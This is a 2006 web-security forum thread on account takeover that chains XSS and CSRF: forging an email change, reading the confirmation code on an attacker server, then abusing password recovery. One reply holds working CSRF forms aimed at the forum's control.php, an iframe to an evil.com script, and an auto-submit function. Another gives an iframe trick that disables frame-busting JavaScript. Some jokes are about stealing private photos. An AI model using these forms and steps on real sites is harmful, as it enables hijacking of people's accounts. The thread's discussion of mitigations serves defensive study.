Hello, I found an interesting use for XSS. I haven't seen it published anywhere - please let me know if someone wrote anything similar.

Scenario of an XSS attack:
- change user email
- run PHP code on your server to get confirmation email with code
- return to attacked page and confirm email with received code
- use password recovery option
- run PHP code on your server to read another code from mail
- return to attacked page and use the code to change password
Everything takes usually less than 10 seconds, depending on email delivery speed.

I've tested it working on some really big services. In some cases there are additional measures of security. They can be easily passed, if based on any data which can be read from user settings. I've also seen a service sending an information email to the old mail address as well, when changing it - you can use some social engineering, send an email with spoofed address, and claim the mail was changed due to a mistake or some testing reason... whatever.

The best solution I can see is to always ask user for a password when he is changing his email address. The second thing is to use some data that is never visible in the user settings to confirm password recovery.

It's a good example for people who don't believe XSS can be any danger.



Edited 1 time(s). Last edit at 09/19/2006 07:14AM by lpilorz.

This is indeed a good technique .. you're right to think it probably wasn't new, but it's something that's overlooked far too often. It does however have the side effect of locking the victim out of there own account, and since she doesn't control the new email - she has no way to unlock themselves without contacting an admin.

This isn't really a concern if your accessing her bank account to send it to your family in Russia .. but if your using it to gain access to her private photobucket account full of self-nudie pictures... that's great and all, but you cut off the gravy train. No more nudies will be uploaded :T

That is, unless it's a site like MySpace. Using the password recovery option, they're kind enough to send the Current Password, in plaintext, to the account's email address. Now you can skip the Change Password request, and you both can still access the account .. with the only change being a different email address under the account settings

And by the way, XSS would be the flaw which let you insert the javascript code into the website.. and any script that can run without needing use of the victim's credentials. A simple cookie or form stealer is XSS .. but using a script to send a change email request and making it appear as the victim's doing, that's CSRF

Either way, good job on helping bring more light to an underused CSRF method. *continues quest of form stealing promotion*

-maluc

lpilorz, I've actually seen this attack performed before. That's actually partially the genesis of this post: http://ha.ckers.org/blog/20060818/reducing-csrf-risk-with-tiered-authentication/

So yes, you're right, asking for a password again (the next tier of authentication) is a simple way to mitigate the risk, and using session tokens can also be helpful (although they don't totally mitigate the risk because the user can still pull the page using XMLHttpRequest and read the token that is required on the next page). To get around scraping of the page and the token on it you can put that change email function on another cname like changeemail.company.com which will be outside the view of XMLHttpRequest.

- RSnake
Gotta love it. http://ha.ckers.org

Thanks for the link. By the way, using XMLHttpRequest bypasses another protection - checking if the page is inside a frame (like this one: if (self!=top) top.location=self.document.location;)

There is another way around that detecting if you are framed (and every other JavaScript protection actually). Try this in IE:

<iframe src="http://www.example.com/shouldbeframed.html" security=restricted></iframe>

The security=restricted turns off all JavaScript.

- RSnake
Gotta love it. http://ha.ckers.org

Thanks, I didn't know about that. Pretty useful for CSRF. Is there something similar available in other browsers?

By the way, if I understand it correct, a site may be vulnerable to such CSRF attack even with session tickets, frame checking and no script injection possibility, just with mhtml redirect (or similar IE vulnerability) and security=restricted iframe?



Edited 1 time(s). Last edit at 09/19/2006 02:18PM by lpilorz.

I'm not sure there is any way to fully prevent CSRF on a site that takes any form of user input. If a human can do it on a computer, a computer can be programmed to mimic it.

Furthernmore, things like session tokens and random hashes and CAPTCHAs and intelligence quizzes really don't mitigate any of the risks.. it just makes the CSRF code longer _-_

That being said, there are ways to make it quite difficult for most XSS flaws, but tokens/hashes don't really seem to make a difference.. they force the script to make an extra CSRF call to a website to pull the page and parse out the token ..
captchas, can help prevent widespread XSS worms .. as it'd force the worm write to make a captcha solving server. But for targetted/limited scope attacks, simply sending the pic to the hacker, and retrieving his response a few seconds later is an easy way around
The same goes for intelligence quizzes.

There doesn't seem to be an easy or workable solution for stopping CSRF, that i've seen so far - it's an inherent trait of communcation that's separated completely by a man in the middle machine. Time seems better spent finding and securing the XSS holes that allow it.

-maluc

I'm not aware of any other tricks that do the same thing, but I'm sure there are... probably not in the same way though.

Well, iframes aren't useful for pulling in content (even on the same domain) because you cannot read the content inside of them, but it's useful for bypassing JavaScript restrictions in certain contexts (like the popout of frame script).

But you're essentially right, the most useful tool in your toolbox is XMLHttpRequest on top of XSS using CSRF (or same-site request forgery as the case might be).

im not understanding this properly. can someone please explaij this in lil bit more detail.
thanx

noob: basically.. it's CSRF not XSS. (although you'll need an XSS hole as well if they use tokens)

Let's use this site as an example, since it's susceptible to it, and we both have accounts here. (sorry RSnake)

I'll be the victim. Some fictitious sexy female whose stalking me, will be the attacker. Can't say i blame her :x

First, she stealthily convinces me to visit her site while logged into sla.ckers, by sending me a private message here:

Hey maluc, check out my hawt webcam at http://evil.com/mycam.html ~ .. i'll be waiting for you baby. -wink-

Obviously, i click it.
On mycam.html there is a hidden iframe and form in the source (since it must be sent by POST):

<iframe id="POSTframe" style="visibility:hidden;height:0;width:0"></iframe>
<form target="POSTframe" name="emailchange" action="http://sla.ckers.org/forum/control.php" method="post">
  <input type="hidden" name="panel" value="email" />
  <input type="hidden" name="forum_id" value="2" />
  <input type="hidden" name="email" value="stolen%40mailinator.com" />
  <input type="hidden" name="hide_email" value="1" />
</form>
<script>document.getElementById('emailchange').submit()</script>

As soon as i go to mycam.html, my email has been requested to be changed to stolen@mailinator.com . She then opens an iframe to extract the verification code from stolen@mailinator.com. When it retrieves it, it will send it to the javascript function gotCode(code) on this page

<iframe src="http://evil.com/checkEmail.php"></iframe>

I'll leave the checkEmail.php as an exercise for you (since every email is different). It finds an email like so:

The new email-address is: stolen@mailinator.com
The confirmation code is: 5295959

Please enter the code in your profile to confirm the change:

http://sla.ckers.org/forum/control.php?2,panel=3Demail

Thanks, Web Application Security Forum

and then the checkEmail.php calls gotCode(5295959); .. gotCode then makes the victim (me) verify the new email with CSRF:

<form target="POSTframe" name="verifyemail" action="http://sla.ckers.org/forum/control.php" method="post">
  <input type="hidden" name="panel" value="email" />
  <input type="hidden" name="forum_id" value="2" />
  <input type="hidden" name="email" value="stolen%40mailinator.com" />
  <input type="hidden" name="email_verify_code" value="" />
  <input type="hidden" name="hide_email" value="1" />
</form>
<script>
  function gotCode(code) {
    gc1 = document.getElementById('verifyemail');
    gc1.email_verify_code.value = code;
    gc1.submit();
  }
</script>

She's now successfully changed my email address to stolen@mailinator.com .. and no longer needs my interaction. Sadly, she stops stripping for me T__T.. Now, as soon as the verifyemail is submitted, or anytime later on, she can use the 'forgot password' form on sla.ckers.org to send the new password to stolen@mailinator.com. Getting something like so:

If it was you, here is your new login for the forums.

Username: maluc
Password: snpe734

You can login to Web Application Security Forum at
http://sla.ckers.org/forum/login.php?2

She now has complete control of my account, and i'm totally locked out. And all i got was to see half a nip :T

DON'T use this on sla.ckers though :x

-maluc

I don't care if you use it on sla.ckers, but only half a nip...you poor man.

-id

Yah, really... at least wait until you get to see some navel hair or something! ;)

- RSnake
Gotta love it. http://ha.ckers.org